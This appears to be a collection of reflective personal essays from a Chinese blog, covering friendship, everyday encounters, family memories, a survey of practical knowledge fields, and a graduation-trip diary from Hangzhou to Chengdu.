　　艳阳高照的夏天，灵隐寺里带我走错路好几次，那个迷糊的灵；手机相册里，无数自拍照，笑靥如花，那个美丽的灵；自称“很渣”，有些吓人，但是很温柔的灵；触目伤情，为情所累，那个多愁善感，黛玉般的灵……

　　灵的形象，似乎如同这个字一般，变得活灵活现起来——不再是那个，一直坐在课桌前披星戴月、奋笔疾书的“努力”，单薄又生硬。

　　起码，用别人的卡带我混进校园这种事，以前她不会做。甚至，那个别人，还是她的男友。

　　人总是在变。

　　而我，则是看着她“努力认真”的背影一路走过来的。

　　我竟一时间有些不习惯。

　　老友变成“新朋友”。意外的同时，又有些惊喜。


　　直到今天，我都不知道她花了多少汗水却不为我所知。不过我想这无关紧要，她也不会特意表彰炫耀。

　　我们的联系总是以生活为主，学业事业为辅。穿插一些感情和琐碎的内容。

　　她和我说：“毕业就是之前一觉醒来可以见到的好朋友，现在就见不到了”，“今天有一颗好亮的星星”，“地铁坐过站了”。

　　我和她说：“每个人都有这种时候，仔细感受现在这个难过却真实的你吧”，“听人说那是启明星”，“那就威胁司机开回去”。

　　她不会和我说，税法的备考技法，财政政策与货币政策，注册会计师的题有多离谱。

　　我也不会和她说，栈与队列的特性，逻辑门怎样组成计算机，操作系统为什么会崩溃。

　　我们的交流一直很温和。而我们的联系，也一直没有断过。

　　不如说，这是因为，我们之间的联系一直都很少。一两周聊一次。彼此生日的时候，送送礼物，问候，结束。

　　若即若离，一直都是这样。

　　看起来关系就要散掉了，但我们两个人都知道：这是不可能的事情。

　　我们彼此都知道，对面一直在身后，只要去找，一定会有回应。不怕尴尬，不怕言深。说事情一定会听，哪怕不说事情，只是简单闲聊，对面也会乐于回应。

　　我不知道灵为什么愿意与我交往至今，但这不重要，重要的是，我们已经处在了最美好的距离。

　　双方都不会逼迫式地前进，侵占对方空间；也不会畏缩性地后退，置对方于不顾。

　　这是最美好的关系。而这才是最重要的东西。


　　谨以此文献给我的挚友，灵。


　　南国微雪 Miyuki

　　2023 年 8 月 26 日

封面图

摄影师 | 南国微雪

图源 | 生活

人間を感知する

写在前面

1127 字 | 生活 | 感受 | 经历 | 见证

正文

　　去医院的路上，公交车里。

　　前门有两个座位，并排，上面坐着三个小孩子。一男两女，女孩一大一小。

　　自我上车后他们就在，还很吵。

　　中途站，我正看书，听到小女孩说：“我马上要下车啦，来一个抱抱吧。”

　　惊觉，抬起头。

　　小女孩跟大女孩抱了抱，又跟小男孩抱了抱。最后，她展开小小的双臂，一起拥抱了两个人，自己则埋在他们两个中间。三个拥抱，三个满怀。

　　“那我走啦！”小女孩说。

　　“拜拜！”

　　“拜拜！”

　　我看着她走到后门，然后又看她忽然折返回来：“好像是下一站……”

　　我有些想笑。

　　“那再来抱一个吧！”大女孩说。

　　“来吧！”小女孩回答。

　　大女孩直接把小女孩环腰搂起，抱得小女孩脚尖离地。没有转圈圈，但是他们的空间，就算抱起来转圈圈也没问题。

　　然后小女孩又抱了一下小男孩。

　　门口传来三个小孩子的笑声。

　　到站了。

　　小女孩下车，在路边朝他们两人挥手。小男孩和大女孩两双手贴在车窗上，用各自小小的声音喊着。

　　“小心点啊！”

　　“注意安全！”

　　从医院回来，碰上暴雨。

　　没带伞，被困在路边。与我一同避雨的人们，许多身上都淋湿了。

　　为了解乏，同时填肚子，走进了一家书亦烧仙草。

　　店里没有音乐，分外静谧。只有零星几个客人坐在里面。

　　有位男性，大约二十多岁。不像是避雨，像是等着谁。

　　我点好单后，坐在板凳上等。

　　半晌，那位男性走出店张望，又进来。又过了一会，进来一位女性。

　　他很开心的样子，走出店。带着一束花走出去。

　　我不知道那束花哪里来，魔法一般。不重要。那花束精心包装，上面零星亮着几盏小灯，发出暖黄色的光。

　　那位女性笑靥如花。

　　提包，点单，坐下，聊天，笑声，一气呵成。

　　我走出店。

　　暴雨天里，在奶茶店收到一束花，应该是件很幸福的事情吧。我这样想着。

　　我站在超商门口，望着地面暴雨掀起的白色波浪，一阵一阵地发呆。

　　暴雨之下，内心却获得了难以寻觅的平静。

　　我觉得我该写些什么，又不知道如何表达。

　　这里的医院，住院部与门诊楼连在一起。第一次来，迷路，误入住院部。

　　看着过道占满两列的病床，看着仅一人通过的过道，看着应对电话风暴的护士，看着吊液仍在改卷子的年轻老师，看着黯淡经久的灯泡，我忽然觉得很难过。

　　有些事情，听人描述与亲眼见证，感觉完全不同。

　　而避雨这种事情，我一直认为与我无关。虽然看过无数的插画，却始终觉得很遥远。

　　如今在这里等雨停，消磨时间，忽然觉得有了一丝人间的气息。

　　不仅仅是住处，工作，网络，觅食几点一线，偶尔也会有这样的事情发生。

　　这样，挺好。不至于机械而麻木。

　　人間を感知する。


　　南国微雪 Miyuki

　　2023 年 8 月 12 日

写在后面

　　我很羡慕他们。

　　同时，我也觉得医生和护士是十分伟大的职业。

引用及附注

　　题目中文意为：《感受人间》。

　　- 人間：人类，人们；人间，社会。

　　- を：提示宾语的日语助词。

　　- 感知する：感知，感觉，感受。

封面图

摄影师 | Filip Mroz

图源 | Unsplash

我们无法克制的欲望

写在前面

852 字 | 欲望 | 思考 | 认知

正文

　　跑步时总爱乱想。一边看着路人一边发呆。而每当难过的时候，总会有一阵头脑风暴。

　　这次，是与世俗的金钱有关。

　　我们大多数人，去工作都是为了赚钱。不说赚很多很多钱，起码得让自己活下去。我们也几乎无时无刻不在想，要是有钱就好了。

　　我最近也陷入这种迷思。

　　尤其是参加工作之后，自己的时间几乎没有了，这种想法愈加强烈。

　　要是有钱就好了，就不用工作了。每天吃喝玩乐，该多好。

　　我想到这里，恰好听到一对情侣吵架。而且是对着手机屏幕吵。异地吧，大概。

　　对啊，被爱也是。

　　我们渴望被爱，渴望有个人包容自己的一切，却很少想到对面也是人，也有冷暖哀乐；

　　我们渴望金钱，希望自己富可敌国，能买下一切，却很少想到有许多买不到的东西，买不到患难与共，甚至不能让一个小孩子事事顺自己的意；

　　我们渴望永远，希望能尽可能地活下去，或者能有永远的爱、喜欢的东西亦或者只是简单的好心情，却很少想到永远也由一个个现在组成；

　　我们渴望健康，讨厌甚至厌恶疾病，生病时难受又压抑，却在健康时一味地熬夜、甜食、久坐、夜宵、鲜有运动；

　　我们渴望形容俊美，却真的很少有人想到，这背后会付出多少信任的代价和人际关系的分辨成本。

　　我们渴望快乐、渴望善良、渴望知识、渴望尊严与地位，等等等等。

　　曾经听过一个学习观，说情绪系统是最快的反应系统，是人身为动物的典型证明。而理智，才是后来演化出来的决策层。紧急情况来临时，理智往往很难考虑完全，时间紧迫还容易宕机，而情绪则至少能保全自我，让人活下去。

　　我们这些欲望，大概也正是动物的证明吧。其中参杂了一些人类所特有的期许。

　　如同飞蛾扑火一般，奋不顾身地向着所有的理想奔去。

　　飞蛾不知道那里有火，它只知道那里有光。

　　而被爱、金钱、健康、快乐、善良、知识、正义、尊严、成长、权利和地位等等等等，就是我们的光。

　　跑步停下来的那一瞬间，我对自己默念道：

　　钱确实要赚，但是不能等到赚了很多钱之后，才发现父母已经老了。那样，太晚了。

　　我们大概，还需要学着与自己和解吧。以及，与自己的欲望和解。


　　南国微雪 Miyuki

　　2023 年 8 月 10 日

封面图

摄影师 | Christian Lue

图源 | Unsplash

总有一种东西，让你想起那些人

封面图

摄影师 | 南国微雪

图源 | 生活

写在前面

985 字 | 家人 | 亲密关系 | 睹物思人 | 生活 | 感触

正文

　　今天休息日，逛工作所在的城市。

　　老城区，一切显得沧桑又厚重。里面，也多是以生产资料为主的重工业商铺：机械，五金，修理。生活资料的店铺很少。

　　老城区就是一条街，沿着大路走，尽头，过桥便是新城区。

　　就在这街上，我看到了不少的钢材店。

　　那些钢材，横截面面目狰狞，千奇百怪，还三五成群地摞在货架孔洞里。

　　我对这场面，很是熟悉。

　　我想起原来和一群朋友走在一起，路过菜市场，路过海鲜市场。路上一阵腥味，有些难闻。我们很多人都捂起鼻子，只有一个人例外。我们问他不觉得臭吗，他笑笑说，习惯了。他的父亲是鱼贩子，回家时总有一股鱼腥味，怎么去也去不掉。他开始也不喜欢，久而久之就习惯了。他还说，现在在外地念书，偶尔闻到这种味道，还莫名地有些怀念。

　　那是家人的味道。

　　我的父亲做重工业，但是单干，所以只能做些雨棚和板房之类的简单工作。最简单的就是工地的临时指挥棚，用来遮风挡雨供人睡觉。当然，夏天里面热得不行，没有风扇活不下去。

　　这个状态，却一直将我和兄长抚养到大。而我和兄长，最常见到的店，就是钢材店。

　　父亲时常送我们，顺路去进货，或是反过来。所以我们经常需要在车上等着父亲，同时听着外面重工业的声音——叮呤铛琅的钢材碰撞声，还有扰人清闲的钢材切割声。

　　时至今日，我家下面仍有不少短钢材、钢管，还有切割机、电焊、热熔胶或玻璃胶、油漆和刷子等等等等。工作剩下的短钢材，经常一节一节，最长不过两臂展开。然而，父亲就是用这种东西，做成了家里的餐桌、衣架、加固用的窗框，还有各种奇怪的门闩之类。

　　父亲学这些手艺用了三年。

　　而我，看着父亲摆弄这些冰冷的工业器材，一看就是十几年。

　　我不好说这些重工业的东西在我心中有多少分量，或许它们压根就没有分量，有分量的只是父亲。

　　就像管风琴之于教堂和神圣感；红蓝色调之于消防队和救星；白大褂之于医生和健康；拥抱之于朋友和温暖。

　　他们各自本没有关联，而是生活让他们产生了关联。

　　下次见到满地污渍的钢材店和繁忙的工人，我仍不会觉得丑陋。毕竟，某种意义上，我依靠他们才活到了现在。

　　总有一种东西，让你想起那些对你好的人。

　　他们或许不是家人，或许是朋友，或许是恋人，但这无关紧要。

　　你会与他们争吵，吵得不可开交。但你下次遇见所代表他们的那些声音、气味、东西时，还是会无法遏制地想起他们。

　　那就是你爱的人。


　　南国微雪 Miyuki

　　2023 年 7 月 29 日

为了好好生活，那些你所需要了解的领域

封面图

摄影师 | Reinhart Julian

图源 | Unsplashs

写在前面

6209 字 | 暴言注意

正文

　　有人问过我：“为什么不多发一些实用型的内容呢？情感向的文章没什么价值。”

　　我听出来有些言外之意，即感情太多，容易杞人忧天，庸人自扰，不如多读书，用理论指导行为。

　　我一笑置之。

　　我并非不写不发，而是我深知我没有资格。 感情上的感同身受，出于共鸣。而实用更偏向指导，两人之间会产生责任。一者本质分开，一者联系紧密。 我尚才疏学浅，轮不到指导别人。

　　读书越多，越觉得这世界纷繁而复杂，自己也越无知。 我从一开始自诩满腹经纶，到现在缄默不言，经历了很长一段过程。了解更多东西之后，自己愈像一个蹒跚学步的初学者。

　　那么，这篇文章，这个初学者便斗胆聊聊一些专业的“常识”，以解释笔者“非实用主义”的理念。同时，挣扎着描绘笔者现在眼中的生活，以及阐述了解这些领域所必需的原因。

　　每个领域背后都有广阔的世界，兴许，我们连门槛都还没够到。不过这无关紧要——我们不在这个领域工作，但管中窥豹却能更好地生活。


　　第一，医学。

　　医学为什么放在首位？因为重大的疾病往往并非一蹴而就，而是冰冻三尺。

　　保持健康就是投资未来，挥霍身体便是借贷寿命。了解医学知识，能让人预防疾病，而更重要的是，发现疾病的蛛丝马迹。

　　如果你发现自己的眼白变黄并且知道“黄疸”，那么就应该知道去医院挂内科号看一下肝脏；如果知道预防癌症，那么应该知道少吃牛肉、羊肉和兔肉等红肉，多吃鱼肉和鸡肉等白肉；如果发现自己有黑便的迹象，而且前两天没有吃红心火龙果，那么，背后的上消化道出血就很恐怖了，属于能够开病危通知单的疾病。

　　医学知识远远不止这些，而且应该了解的也远非上面三个。

　　《中医基础理论》里提到十二时辰养生法，所以知道保持作息，因为熬夜伤的不止是肝 ；《药理学》提到药代学和药效学，所以明白为什么对乙酰氨基酚在小剂量时毒性更小；《生理学》则为飞机攀升时的耳鸣给出了解释。

　　知道医学常识，还能更好地利用医疗资源。

　　想象一下你是一名医生，来了一名患者，对方连自己肚子哪里痛都不知道，更不指望提出有可能是哪个器官的问题，需要自己一个个去按压测试。找到器官后，你询问有没有其他症状，患者说没有，你怀疑地问对方有没有并发失眠或者头痛，患者如梦初醒连忙点头说有，只是刚才没想起来，而你背后一凉，差点诊断错误。

　　这些都是很好的例子。而身体，是最重要的东西。

　　我希望看到这里的读者，能够记得在自己 50 多岁时去做一遍癌症筛查和心脑血管疾病的检查。 如果有条件，消化系统检查也可以做。

　　第二，法律。

　　法学是一门终生学习的学科，从业人员每年有学不完的司法解释。不过我们了解最基本的法条就可以了。

　　名义上讲，没有任何人可以搜查你的手机。 因为宪法规定，公民的通讯自由和通讯秘密受法律保护（宪法，第四十条）。就算是人民警察，也不得少于两人在场，还要出示检查证明文件（治安管理处罚法，第八十七条），如果真要当场盘问，可以申请对方陈述自己涉嫌违法犯罪的证明（人民警察法，第九条）。人民警察执法尚且事后可以提请行政复议和行政诉讼，个人又有什么权利侵犯你的隐私权呢？

　　又比如《劳动法》，谁规定的辞职必须申请通过才能走？只要 提前三十天书面通知劳动单位（第三十一条）就可以交接工作走人，没有任何人能强行留你。 如果对方拖欠工资，或者拖延人事手续，保留证据去劳动仲裁局申请劳动仲裁即可。这样还是死不悔改，那么仲裁结果一到，就可以申请诉讼。届时自然有法院执行局的人解决。

　　注意， 实习所签署的劳务合同，不受《劳动法》及《劳动合同法》保护，归属于《民法典》合同篇管理。

　　当然，法学同任何领域一样，在许多问题上都存在有巨大的争议。而这些，我们放到哲学时一起论述。

　　法律很多，我们不需要像律师那样，条条款款标号内容全部记忆，有印象即可。

　　我们所希望的效果，只是知道什么事情能做，哪些不能做，什么时候需要警惕，又该如何留存证据，留存什么证据。 这样，能省不少的纠纷，而寻找专业人士援助时，也能够效率翻倍。

　　我们既然没有付出律师的努力，也就不要想达到专业人士的效果。所以，必要时，请毫不犹豫寻求援助。

　　第三，金融。此处并非经济。

　　我个人对金融有很大的偏见，但我依旧认为它是必须了解的领域。

　　金融领域，对个人来讲最有用的，便是理财。

　　工资不会让人富裕起来。经济学上的通货膨胀和现值告诉我们，货币在时间尺度上，其价值有变化。宏观经济学往往希望达到一定的通货膨胀率，这证明经济状况良好，生活也在变好。而只要涉及通货膨胀，货币就一定会贬值。这是悖论，对个人来说，更是一种魔咒。所以想要富裕，只有一种办法：钱生钱。而这就是理财。

　　理财是一个很深的领域。基金、债券、股票、期货、保险等等等等，哪一个展开都无比复杂。而股票极不稳定，容易动荡，而一般的基金经理会根据“风险分散”原则购买不同的理财产品，其中也包含股票。这就引起了基金的动荡，而基金在理财中几乎必不可少。所以几乎整个理财世界都有风险，都在动荡。

　　一条金融链条下来，所有的利润都指向了最底层的劳动者，而且是非金融形式的劳动。 风险的直接负责人，是自己。而降低风险，只能指望劳动者的信用和良心，以及他们所做的事情。

　　所以我每次都觉得，金融的本质，就是信任、杠杆、洞察能力（说是投机取巧也不为过）和剥削。因为总有人为了生存不得不去劳动——卑微如你我的普通工作者。

　　我不甚有勇气去信任金融世界，不少公司会在财报上撒谎，而金融世界，基于此也愈像一个空中楼阁。

　　这导致了我完全不想学习金融相关的知识。如果真要我理财的话，我大概只会选择不费精力的基金定投吧，坚持到微笑曲线到来的那一天就好了。

　　饶是如此，金融仍是一项必要的技能。

　　如果能厘清复杂的金融世界，并且能够承受一定风险，那自然最好，能走在富裕的道路上。

　　第四，计算机。这是我所在的领域。

　　这十多年来，计算机对生活的影响有目共睹。计算机毫无疑问能极大地提升效率。

　　Excel 便是一个深刻的例子。科学家和不少数据分析师都在使用。有趣的是，有生物科学家，抱怨自己取的专业术语单词，总是被 Excel 自动纠正。

　　除去数据分析这样专业的东西，生活中也能享受到计算机的益处。

　　譬如李跳跳能够跳过开屏广告，每一次省五秒，一天下来便不知道有多少分钟了；不喜欢系统，还可以刷机换一个系统；写文章，或者复制粘贴，可以找网站进行标点符号修正；密码管理器，多端同步，登录时只需要自动输入，不用再记密码，而且不同应用不同密码也更加安全，只需要时常备份密码管理器的文件；一些琐碎的重复性工作，也可以编写脚本解决，例如为自己的一百多篇文章添加标题。

　　强调学习计算机，并非都要成为程序员，也不是必须编写程序。学习计算机更多的是学习思路，知道出了问题，怎样去排查和解决，哪怕只是一个简单的修图软件崩溃，连不上网。

　　计算机给我带来的最重要的思想，便是模块化和从零开始。

　　模块化让人专注思考当前任务，无需关心细节；从零开始，让人脚踏实地，不去妄想一蹴而就，望月摘星。

　　第五，英语和文学。第二外语和语言学不是必要的。

　　这两个放在一起来说，因为他们的目的都是：更辽阔和更宽广的世界。

　　英语几乎成了各大组织的官方语言，使用范围也最广。从实用上，英语是首选。

　　从考量上，英语，难度其实也并不高。语言学界有一个好玩儿的“钟表理论”，指三类语言：屈折语、分析语和粘着语，会像时钟一样一圈一圈来回变化。而古英语是屈折语，难度不低，现代英语已经高度分析化了，所以难度远没有古英语高。

　　如果说英语是为了认识汉语以外的世界，那么文学便是为了认识自己以外的世界。

　　《我与地坛》里史铁生字字泣血，“我真想告诫所有长大了的男孩子，千万不要跟母亲来这套倔强，羞涩就更不必，我已经懂了可我已经来不及了”；奥威尔的《1984》让人反思，我们是不是也有一个老大哥和 101 室；而《霍乱时期的爱情》则诠释了“世界上几乎所有种类的爱情”。

　　有的文学让人爱不释手，有的文学可能对部分人来说，徒有虚名。哪怕是后者，也无意之中有了批判的能力和鉴别的眼光。都是好事。

　　第六，哲学。

　　如果说有医学已经足够奇怪了，那么这里出现哲学可能更让人疑惑。实际上，看过哲学导论会发现，哲学往往并不如人想象中的那样晦涩，但也并不简单。

　　哲学里最核心的讨论是“思维与存在”，但最有意思的往往都是一些 Corner Cases，这些边界问题往往如秃头悖论一样说不清道不明。而哲学家们正在努力试图做一个清晰的诠释。

　　什么是正义？正义迟到了还算正义吗？要做到什么程度才算正义？

　　什么是自由？“想做就做”的权利和“想不做就不做”的权利，究竟哪个更自由？

　　什么是道德？道德究竟怎么判定？

　　真理和自我真的能找到吗？仅仅存在于我们认识中的定理算不算真理？

　　第二点法学中谈到，法律领域对于有些问题，也存在有巨大的争议，而这些问题往往属于哲学问题。

　　例如： 有明确证据说明死者自杀意愿的助人自杀，究竟该怎样量刑？ 日本的法律有个专门的罪名：“协助自杀”；而我国没有这个罪名，一般从故意杀人罪起量，酌情向下减刑。

　　又如上述真理的问题：仅仅存在于认识中的定理算不算真理？我们所接受的数学几何学，往往是欧几里德几何学，从《几何原本》里衍生。而《几何原本》的所有推论，基于几条不证自明的公理。其中第五条公理，平行公理，存在巨大的争议，由此诞生了非欧几何学。 在非欧几何学里，三角形的三个内角和不一定等于 180 度，可小可大，平行线也能够相交。 这些反直觉的推论在逻辑上严丝合缝，毫无问题，但我们从未见过。它们，究竟算不算真理？

　　这些问题即使到今天都仍然属于灰色地带，说不清道不明，各有各理。

　　所以哲学界最常见的事情便是：论战。尝试说服对方，但社科的验证周期太长，几百年不止，所以哲学到今天都饱受诟病。

　　了解哲学并不需要参与或接触论战。只是希望，在遇到事情的时候，能够有更多的视角。

　　视角越多，越能还原事情的真相与当事人的心境。而这些思辨的能力，正是哲学闪光的地方。

　　第七，心理学。

　　心理学从弗洛伊德式的精神分析，掉头奔向以斯金那为代表的行为认知派，到现在一路狂飙，俨然已经成为一门实验科学。

　　心理学听起来似乎有些严肃古板，但有些心理学效应却很有趣。而这也正是我们去了解的目的。这些经过证明的心理学结论，往往能给我们很多启发。

　　巴纳姆效应，让你不再相信星座和占卜等伪科学；罗森塔尔效应实验证明，夸奖和惩罚会起到实实在在的影响；责任分散效应，指导人在遇到紧急情况求救时，不能大喊救命，而应该具体指定哪个人帮忙。

　　从实用角度，大约还是精神分析最有用。虽说精神分析多多少少显得有一丝毒瘤，但在安慰朋友方面真管用。

　　心理学远不止这些，我受益最深的，是下面这个社会心理学分支：人际关系科学。

　　第八，人际关系学。

　　人际关系学基于统计学做了大量的分析和实验，得出了繁多的结论（以下结论基于《亲密关系（第六版）》）。

　　有些结论我们生活之中自有预感。譬如 第一印象非常重要（第 109 页）；浪漫爱情往往短寿（第 275 页）；沟通在任何关系中都极其重要（第 142 页），并且女性比男性更擅长这一点（第 169 页），所以“女人的直觉”有其依据（第 155 页）。

　　另一些结论可能感觉反常。比如 女性腰臀比更吸引男性而非脸部（第 79 页）；同居的时间越长，结婚的概率越低（第 10 页）；痛苦的婚姻结束时，孩子的幸福感几乎不会降低（第 433 页）；主修社会科学、教育学、商务和人文科学的大学生比主修物理、工程和其他理工专业的学生更多地背叛伴侣（第 339 页）；女性对伴侣实施身体暴力的可能性实际上要稍高于男性（第 392 页）。

　　人际关系学还联系其他学科提出了另一些概念。如和进化心理学一起提出了 “养育成本”，解释了为什么女性更希望找一个长期的，稳定的伴侣，而男性则更多短择 ；和数学模型一起提出了相互依赖理论。

　　这些结论，同心理学的效应一样，能够解答我们生活中的很多疑惑，指导我们做出相对正确的选择。

　　起码，在人际关系和感情上能够起到作用。 而感情，往往是年轻人的爆发区和重灾区。

　　第九，管理学。

　　管理学这门学科，比较玄学。 管理学界有一句经典名言：“管理学是科学，管理是艺术。”

　　不同的企业，不同的对象，采取一样的管理方法，都会产生不一样的效果。所以才诞生了权变管理理论。

　　不过私以为，权变管理理论等于白说。人人都会随机应变，因地制宜，也就不需要管理学了。

　　管理学的艺术性决定了管理的难度和高度。有些管理学科班出身的人，也不一定比没有学过管理学的人做得好。

　　那为什么还要了解这个领域？因为我们需要知道管理学的指导原则，再根据自身情况和处境做决策。

　　管理学指导原则很少： 效益（做的事对、方向和目标明确）永远大于效率（做事迅速、成效好）。 自我定位在管理学中占有重要的地位： 什么样的自我定位，决定了做什么样的事情。

　　另外， 在管理学中，“计划赶不上变化”完全是无稽之谈。 因为 计划，往往是“指导人们总是把最稀缺的时间资源用于最重要的事情，而不仅仅是严格按计划执行，应变处理也是极为重要的一环” （浙江大学，邢以群）。

　　管理学所探讨的话题：目标、制度、组织、管理思想、计划、沟通、领导、决策、激励和创新等等等等，这些都对我们有益。

　　如果看到了这里，不妨现在就动手写一个计划。长期计划和短期计划都不可或缺。如果某天朋友放鸽子，或者突然闲下来，不妨在长远计划中随便挑一项去执行。

　　行动，总是比空想要来得实在。

　　第十，烹饪。

　　这个，我想无需赘言。做饭是最有生活之乐趣的事情了。它最有烟火气，最实在，最能让人感觉“活在这世上”。所以，它最符合我们好好生活的理念。

　　第十一，生物学和运动与人体科学。

　　这篇文章中，生物学很大程度上是为运动与人体科学做铺垫。运动是人生中无法避免的事情。生命在于运动。而如何科学地指导运动，这属于运动与人体科学的范畴。

　　跑步完毕之后，不能马上停下来，应该慢走一段时间，否则会导致重力性休克；最正确的跑步方式无关跑姿，而在于减小步幅，提高步频，防止膝盖过展无法缓冲而受伤；各类运动方式对膝盖都有损伤，游泳是最小的那一类；减肥的最好方式是节食到原来的七到八分，然后维持或稍微加大原来的运动量，并有意提高有氧运动的占比……

　　这些都是运动与人体科学的结论。背后依据的是生物学，而非医学（如果要算，涉及康复医学）。我们不需要了解到肾小球肾小囊病变，以及心律不齐心房纤颤，他们无关我们运动的指导。

　　学一学没有坏处。

　　运动有益于健康，而健康是一种资本。


　　文章写到这里差不多就结束了。

　　其实还有很多领域我想要加进去，但是我感悟并不深，在这些领域内也颇为草昧，唯恐饰智矜愚，便暂时搁置。如数学、历史、政治、天文、气象、地理、教育学、物理、化学、经济学和一大堆工学细分领域。

　　我原本计划想加入马克思主义，但究竟作罢，马哲已包含在哲学内，而且并不如人际关系学帮助那样大值得单独列出。并且并非每个人都是平凡的工作者，不乏家境优渥权倾朝野者，多说无益（毕竟 资本这条路上，善心之下，剩余价值积累得慢也会被淘汰出局 ）。

　　人总在变化，或许等以后，又有新的感悟，认识了新的领域，它们也值得加入呢？

　　在这个大总结的最后，我想说句话。

　　有人说，“全才维持社会运转，专才推动社会进步”。我赞成。但这篇文章并非鼓励众读者成为全才，理念始终很明确：「为了更好地生活」。 我希望读者仍能成为专才，推动社会向前发展。因为，社会那质的变化，或许比粗略了解更多领域要来的更为深刻。

　　如果这篇文章能够调动众读者的兴趣，接触这些领域。那便不胜荣幸。若还能加上自己的理解，或是与自己的领域产生共鸣、结合或成就，则笔者荣幸之至。

　　文中所提到的所有结论，若有错误，敬请斧正。若有所补充，也欢迎联系。

　　行文至此，悉数掷笔，未尽之事，随风随念。


　　南国微雪 Miyuki

　　2023 年 7 月 16 日

毕业旅行第八天（2023 年 5 月 25 日）

封面图

摄影师 | Craig Wang

图源 | Unsplash

写在前面

2368 字 | 旅行

正文

　　我在凤起路地铁站商业街里来来回回走，就是没碰到昀喵。跟他讲了自己的打扮之后，他拍了一张我的背后照。我说是，但是回头并没看到人。那一瞬间还有些吓人。最后他拍了拍我的肩膀，这才会合。虽然我很想吐嘈他到底是从哪里冒出来的。

　　见到他时，差不多中午，很热，也到该吃饭的时间了。我们犹豫了很久，最终还是决定去麦当劳。本就打算带他去一下西湖，索性就在那附近吃了。没成想后面却让他惦记了这么久，说景区的要贵很多，让我破费了。

　　我本身其实无所谓，他确实是心善了些。见面之前，昀喵也一直说他社恐，我还有些担心自己能否打开话题。结果其实也还好，没有我想象中的那样严重。不如说，如果他不特意强调，几乎不会让人察觉。

　　说实话，昀喵有些出我意料。平头，背个大包，最意外的是有些黑。很有那种工科男的气质，倒是我自己不太符合自己的专业。昀喵的着装也是比较朴素的款型。我预想中会更可爱一些，或许是网络语气后遗症吧。

　　相处过程中最意外的是， 他似乎很容易被我的节奏卷跑 。可能是大部分时间都是我在说话之故吧。印象最深，是他觉得西湖其实一般，他外婆家似乎有一个差不多风景的湖。这句话让我鲜明地感受到他的自主性。挺好。

　　有时候我不知道聊些什么，就把话题引向一个奇怪的方向。他笑，我也笑。

　　“要来进行那个神秘的仪式吗？”他问。

　　“行啊。”我说。

　　“那谁来给我们拍呢？”

　　这确乎是一个大问题。于是我拿出了 iPad。我从没想过我的 iPad 会有这种用途，一般都是别人拿多余的设备拍。如今我也成了那个有额外设备的人了……

　　我以为他是经常吃快餐的人，和喵喵一样，但好像并没有。我也以为点一份汉堡和薯条吃不饱，但却意外地填肚子。

　　我没有给昀喵拍照，他好像不太喜欢上镜，跟我一个属性。喜欢给别人拍，但不喜欢被拍。所以关于他的照片也是真一张都没有。

　　路上还不小心闯了红绿灯，走到半路才发现……聊天聊嗨了是这样的。

　　本来昀喵计划还要吃晚饭，但时间上实在是来不及了。杭州实在太大了。我与他在杭州东站别过。临别时给了他一个拥抱。

　　“今天还开心吗？”

　　“还是挺开心的。”

　　“那还行，”我笑笑说，“看来我伺候得挺好。”

　　“哎哟，‘伺候’这词用得真是……”

　　我笑笑没说话，别过后继续去坐地铁。地铁还要很多站才能抵达萧山国际机场。等到机场时，离起飞就已经只剩 40 多分钟了。

　　路上心里一直犯嘀咕，要是萧山机场跟天府机场一样大那就完了。半天找不到自助打印登机牌的机器，无奈找了人工。人工一看时间马上就没了（登机口起飞前 20 分钟关闭），给我开了一张绿卡，叫我直接走最后一个 39 号安检紧急通道。直到现在我都很感谢那个工作人员。落座后，心里松了一口气，也幸好没吃晚饭，也还好萧山机场不大，要不真要误机了。

　　人工通道始终存在着意义，我深刻感受到。不可能取消也不能被替代。

　　南方航空的航空餐整体来说比国航差了不少。餐食只有一种，直接发到手上，而非国航两种选一种，虽然米饭都差不多，但其它的餐具和甜点之类要差很多。

　　空姐在工作时，有一幕让我印象很深。

　　可能是航空公司的规定，机组人员都必须要戴手套。我后座有个婴儿，见到空姐过来马上开始哭。那小孩子的母亲见状有些不知所措，怎么哄都哄不好。空姐却不在意，也开始哄。

　　“不哭不哭，姐姐不是医生，不是来打针针的哦！”说着，她摘下了手套，“你看，手上没有针针哦。”

　　我没有转头看，只听到那孩子仍哭着，只是声音渐小。

　　空姐对那位母亲说：“好多孩子一看到我们过来，还戴着手套，就以为我们是护士，要给他们吃药打针。我见过好几次了。”

　　空姐还夸孩子可爱。 她在哄孩子和夸赞孩子时，语气极具温柔，像是换了个人一般。 而且， 那语气语调中似乎还流露出一种特殊的感情，很浓厚，很难让人忽视：要么是同为母亲的感同身受，要么是想要一个孩子的渴望。

　　真情流露与虚情假意向来一辨就知，否则演员也不会成为一种职业。那位空姐到我时，又恢复公事的语气，仍有腔有调，但明显情绪上不带一些波澜。

　　因为经停一个机场，所以落地时间比预期晚了很多。我本在天府机场附近订了一个民宿，但落地关闭飞行模式发现，如果要去住处，得绕机场一圈。二十多公里，打车都得两个多小时。于是我就坐地铁直接去成都南了。

　　地铁上，人很累，自己都能明显感受到身体与精神上的疲惫。这种状态还要与那个老板协商退宿退款。那个老板很贪，说退不了，而且说我自己时间没规划好。我：……

　　申请美团人工介入。美团机器人说人工已经下班了。那时候已经零点过很久了。然而不到十分钟，美团客服便打电话过来，说征求我的意见。我真心觉得美团人工客服是真惨，这么晚了还在加班。美团说老板同意退款，但要扣留一半作为罚金。这下坐实了那个老板贪婪的猜测。“还用的是‘罚金’……我这是受了什么刑事处罚吗？”我这样想着，有些无奈，同意了。有总比没有好吧。到账 33 块。

　　到成都南，找到临时订的民宿住处，已经是晚上一点多了。走在路上，老有人问我是不是在找住宿。从地铁站到住处，起码不下二十个人。其中有一个中年人，骑着电动车跟在我身后至少跟了一公里，只为了揽生意。

　　一路上这些人招揽客的态度，让我总觉得跟闹鬼了一样。大概是看我独自一人，容易搭话吧。跟这些人，我一句话都没说，一个声都没有。

　　就地铁站到住处这短短两公里多，我深刻感受到了独自旅行的坏处。 男孩子姑且都还有些害怕这些人，要我是女孩子，还被黑灯瞎火地追了一公里问要不要住宿，指不定会怕成什么样呢……

　　女孩子真是辛苦啊……

　　找住处还发生了不少意外。找错楼层，跟房东打电话说密码不对。房东记错房间号，导致我进了一个有人的房间。幸好里面是男生，要不我得进局子了……

　　快凌晨两点，我收拾好东西，拖着满身的疲惫沉沉睡去。

　　就这样，我的毕业旅行结束了。第九天上午回学校的旅程，过于琐碎无关紧要，遂停笔弃写。

　　以后还会不会有这样的旅行，都是未知数。

　　不过，我仍旧期待着。


　　南国微雪 Miyuki

　　2023 年 7 月 6 日

写在后面

　　毕业旅行记录至此结束。

我把你们看得很重要

封面图

